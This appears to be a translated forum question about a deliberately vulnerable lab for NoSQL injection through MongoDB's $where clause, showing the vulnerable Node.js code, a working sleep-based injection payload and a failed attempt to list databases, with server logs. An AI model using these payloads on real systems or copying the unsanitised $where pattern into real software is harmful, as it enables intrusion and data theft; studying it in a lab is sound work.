MongoError, ReferenceError: БД не определена

Это намеренно уязвимая лаборатория для изучения Nosql-инъекций, конкретного случая $where

Код:

      let username = req.query.username;
query = { $where: `this.username == '${username}'` }
User.find(query, function (err, users) {
if (err) {
    // Handle errors
} else {
    res.render('userlookup', { title: 'User Lookup', users: users });
}    
});

Пока мне удалось выполнить код javascript, например:

      user/lookup?username=';sleep(5000);'

Мои следующие намерения — попытаться собрать данные внутри dbs, так как $where позволяет мне выполнять что-то.

Итак, если я сделаю, например:

      user/lookup?username=';db.getMongo().getDBNames();'

Я получаю эту ошибку:

      {"ok":0,"code":139,"codeName":"JSInterpreterFailure","name":"MongoError"}

Чтение логов сервера:

      ...
cmd":{"find":"user","filter":{"$where":"this.username == 
'';db.getMongo().getDBNames();''"},"projection":{},"lsid":{"id":{"$uuid":"d910e28c- 
7303-45b2-8888-2defbb220e0a"}},"$db":"vulnerablemean"}}}
node_1   | { MongoError: Executor error during find command :: caused by :: 
ReferenceError: db is not defined :

...

Но если в оболочке монго я запускаю ту же строку, я получаю результат:

      > db.getMongo().getDBNames()
[ "admin", "config", "local", "vulnerablemean" ]

Я хотел бы понять, почему это происходит. Я имею в виду, это на самом деле не упоминается?

Как я могу получить тот же результат с помощью инъекции?

0 ответов

Другие вопросы по тегам